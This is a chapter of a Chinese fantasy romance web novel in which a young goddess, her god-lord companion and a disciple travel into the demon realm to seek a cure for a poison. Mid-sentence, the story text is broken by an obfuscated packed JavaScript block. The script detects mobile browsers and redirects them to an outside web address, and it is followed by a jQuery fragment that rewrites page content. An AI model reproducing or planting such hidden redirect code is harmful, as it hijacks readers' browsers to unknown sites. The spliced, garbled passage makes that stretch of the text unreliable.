朝临想跟谌己分享喜悦,可那人直向江残月而去,而江残月一见他,竟吐出一大口血。
“江姑娘!”朝临忙将她扶好坐下,她摆摆手,“无碍。”
谌己道:“江残月,说说你的要求。”
“我虽然不知道你是谁,但你的能力是通天的。”江残月抬眼,用手抹了把嘴角,“给我这残月阁下个禁制,我受够那些妖怪了。”
谌己几乎没有动作,而禁制已顷刻将整间残月阁包裹起来,气息转瞬即逝,禁制悄然隐藏。
江残月笑了笑:“谢谢。”
“我还有一个问题。”
江残月嘴角抽了一抽,好半天才回:“你问。”
“方才你已经看出朝临体内有股妖气,为何不问?”
“我为何要问?”江残月道,“换句话说,这与我毫无关系。”
“可你身上也有那股妖气。”谌己犀利道,“你认识那只狐妖。”
朝临道:“江姑娘,那只妖可会魅惑人心了,你可千万不要被他骗了。”
江残月把朝临握住的手抽出来,冷冷道:“萍水相逢罢了,我跟他不熟,再说,我就住这妖界边,身上有些妖气难道不应该吗?”
“他叫什么名字?”
“……”
谌己并未由此恼火,看了眼朝临,“医者不自医,她体内有好几种毒,你帮帮她。”
朝临心想谌己也太信任她了,她有些迷茫,眨巴了下眼睛:“用解毒术?”
谌己:“嗯,切记量力而行,我在这里等你。”
朝临将江残月扶回卧房,用解毒术帮她排出了四种毒,另外还剩下一种极为顽固的毒,已经深入骨髓。
“对不起啊,这个毒,我好像无能为力。”
江残月认命似的靠在塌上,唇上随即有了几分血色,她挺喜欢眼前这个姑娘,但她始终不曾表达出的目的,让江残月没有安全感。
“谢谢你啊,救了我两次。”
“不客气,虽然萍水相逢,但你于我的恩情是巨大的。”朝临道。
“那不算什么。”江残月并不为这一年寿命赶到骄傲,因为她知道,这并不出自于她一人之手,那个叫谌己的人,在她差点遭反噬时,暗自帮了她一把,“你们要找的那只狐妖来自九尾狐一脉,名字我不知道,只知道他偶尔在这附近出现。”
朝临道:“好,那……”
“别的我不会再回答你了。”
“那好吧,你好好休息。”朝临道,忽而想到什么,“我们可以在这儿借宿一夜吗,明日丑时就走。”
“可以。”江残月扔了把钥匙给她,“两间侧屋,你们自己挑。”
“嗯。”
“对了,这个送给你。”
江残月指屋子西南角摆放着的匕首,“我拿着这个没用。”
“这怎么……”朝临仔细端详这把并无新意的匕首,当她将刀刃拉出,刀柄上忽然闪过一点红,她定眼一看,那儿竟有一颗红色珠子,“真的送给我吗?”
江残月点头:“就当是我们萍水相逢的礼物。”
“谢谢你!”朝临收下匕首,一把抱住江残月,“那我先出去了,有事叫我。”
“去吧。”
…
二人在前厅对付了一晚上。朝临还在梦里讲笑话,谌己刚被她逗笑,下一瞬他板着的脸便出现在她眼前。
已经确认,这个才是真的。
“走了。”
朝临收拾了一番,跟上谌己,出了屋子,冷风直往她皮肤里钻,她下意识往他贴近,“帝君,好冷啊。”
要是放在之前,谌己一定会嫌弃地与她拉开距离,今日他一反常态,关心起她来:“你别告诉我,你那么多行李里一件能御寒的衣裳都没有。”
朝临打了个喷嚏,摇头。
她被拥进温暖的长袄下,独属于谌己的气息将她包裹,她的脸贴近他的胸口,“帝君,现在不冷了。”
承光早早在界碑处等待,看着朝临从谌己怀里钻出来,愣了一愣。
“帝君,妖门就要开了。”
“你们退后。”谌己道,“听我指令。”
二人后退,承光悄摸着问朝临:“你是不是没有带够衣裳。”
“嗯,我不知道人界正逢冬天,带的都是神侍们的薄长裙。”
承光道:“等出来后,我带你去买件长袍。”
“嗯!”
谌己不断施法,界碑缓缓没入地面,黑石山上一块巨石敞开,露出一个像随时会吞人的黑洞。
“跟上来。”
洞中妖风阵阵,吹得朝临看不清四周路况,每往前一步,她都要分辨方向,生怕走错了。
而在这片混沌当中,一只温热的手攥住她的手腕,领着她往前走,很多步之后,他们终于正式踏入妖界。
谌己松了手。
朝临偷偷望着他高挑的背影,之前有的怨气都烟消云散了。
承光走来,问道:“还好吗?”
“挺好的。”朝临抬眼,满目的房屋瓦舍都落在氤氲的淡紫色气息下,“你呢?”
承光道:“我也挺好的。”
“为什么帝君不走啊?”朝临见谌己杵在前头一动不动,不禁发出疑问。
“许是在等什么人。”
承光话音刚落,便有一行人迎面而来,为首的是一个身穿紫袍的女子。
“帝君大驾光临,有何贵干?”
她目光锐利,手持一把大铡刀,停在距离谌己一丈远的地方。
“好久不见了,妖王殿下。”
“帝君就不要抬举我了,孟鸾已到薄暮之年,受不起你的大礼。”
谌己勾唇,“何出此言,只要妖王印还在,你就是妖界的统领。”
孟鸾抱手,道:“帝君,是哪阵风把你吹来了?”她的目光越过谌己,停在跟在他身后的两人身上。
“与他们二人无关。”谌己道,“我知道你们妖界正值新旧交替之时,此时来打扰确为冒犯,只是事出有急,不得不犯,还请殿下通融。”
孟鸾笑道:“帝君既然知晓我们妖界形势,却还是来了,想来并未把我放在眼里。”
“孟鸾,我们来寻样东西,无心参与妖王之争。”
“是吗,我还以为帝君是听到了什么风声,有意来访呢。”
谌己道:“妖界近年来的形势算不得秘密,而神妖两界早在千年前就共签互助条约,我就算想介入,也情有可原吧。”
孟鸾眼中已然堆了些怒火,“那帝君,你——真的要插手吗?”
“我没兴趣。”
“有帝君这句话,我就放心了。”孟鸾后退一步,“来人,把妖牌献给帝君。”
随即,有妖将妖牌奉上。
“帝君,有了此物,可在我妖界畅行无阻。”孟鸾道,“我还有些事,就先走了,祝你早日得到所寻之物。”
谌己道:“还以为殿下特意来此处拦我,现在看来,是我小人之心夺君子之腹了。”
孟鸾道:“帝君可不是忘了,我们妖界对您,一向是没有禁忌的。”
谌己笑笑:“殿下既有事,我便不多叨扰了。”
孟鸾一行人风风火火地从妖门出去了。
朝临终于可以问:“帝君,我昨日听那黑气说,妖王已经百年未曾出过妖门,此番出去,会不会是遇见什么困难了。”
谌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235189|181848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己淡淡地瞧了她一眼。
承光咳了两声,解释道:“朝临,妖界有两扇门,我们来的这扇门通往人界,另扇门通往鬼、神二界,说不定妖王此前是从另外两界绕路去的人界,你不用担心。”
“哦……”
朝临跟上谌己,问:“帝君,你和这位妖王殿下认识很久了吗?”
谌己:“问这个做什么?”
“……好奇。”
“忘记了。”
承光问:“帝君,我们接下来去哪?”
谌己找了一处山清水秀的好地方,只一间木屋,工整地修了三间房。
谌己不知道干什么去了,承光抢着收拾屋子,朝临想与他一同,承光始终不肯:“朝临,你坐着休息吧,我来干。”
朝临只得坐在擦得干干净净的椅子上,与他一来一去地聊天。
聊到那黑山老道,朝临问承光那老道是什么身份。
承光拧干帕子,一面擦床榻,一面道:“那老道原是修仙者,得地仙之力飞升成仙,后接了那位地仙的衣钵,百年后,取了人界女子为妻,为给妻子续命,与魔族勾结肆用禁术,众仙发现后,碎他仙骨,驱回凡界。”
“变为凡人后,他便更放肆了,惹得一方民众苦不堪言,老道修了很多邪术,专克众仙,众仙无耐,求助天帝,天帝便派了帝君下凡逮捕老道。”
“逮捕?可那老道后来死了,帝君他……”
朝临想到那日,那个丑陋的癞蛤蟆就那么直挺倒地,再无声息。
莫不是因为涉及到她的安危,谌己才不得已将他杀掉的?
“你在想什么呢。”承光笑道,“帝君留了他的一魂,现在还在仙牢里关着呢。”
“原来不是啊。”是她自作多情了,谌己怎么可能会这么没有大局观。
“不是什么?”
“没……我前段时间听你唤帝君‘师尊’,你与帝君是什么关系?”
承光憨然一笑:“帝君是我师傅勿舆上神的师傅,我平常不敢轻易叫他师尊,那日确实是有些失态了。”
“为何不敢叫?”
“因为我修为尚浅。”承光眼里露出落寞,“我想成为如帝君一般的神,可这其间的距离,实在是太远了。”
朝临前几日问过承光的年纪,得知他只比她大了五百年,而他年纪轻轻能入谌己门下,绝不是平庸之辈。
“你还年轻啊,帝君都看了多少年山河变换了,慢慢追,总有那么一天的。”
“也对,那我好好努力!”
谌己在在晌午时赶回,与他一同回来的,还有一条大蟒蛇。
那大蟒蛇口吐人言:“你干什么,惹妖清修是要遭雷劈的。”
“两千年了,你怎么还没化出人形。”
谌己还是一如既往。
“……”大蟒语塞,“关你什么事!”
“今日找你来问些事。”谌己示意朝临靠近些,又让大蟒仔细瞧,那大蟒沉吟片刻,道:“救不了。”
闻言,朝临心一沉:“不至于吧,我还有两年寿命呢。”
大蟒道:“谁说你的寿命了,我是说那同命蛊,幸好谌己及时止损,毁了他的两魂七魄,才不至于让他把你精气全给吸走了,你说说你,同命蛊那么复杂的东西,怎么就让他给种下了……”
“除忌。”谌己打断他的喋喋不休,“说重点。”
除忌见朝临眼眶红红的,闭了嘴,顺着谌己:“现下毁了那老道的一魂也无济于事,蛊毒已经深入她的骨髓,只能为她找到心根脉,驱动内力,将蛊毒逼出去。”
谌己问道:“脉,该如何寻?”
除忌后知后觉:“合着你在这诈我呢?”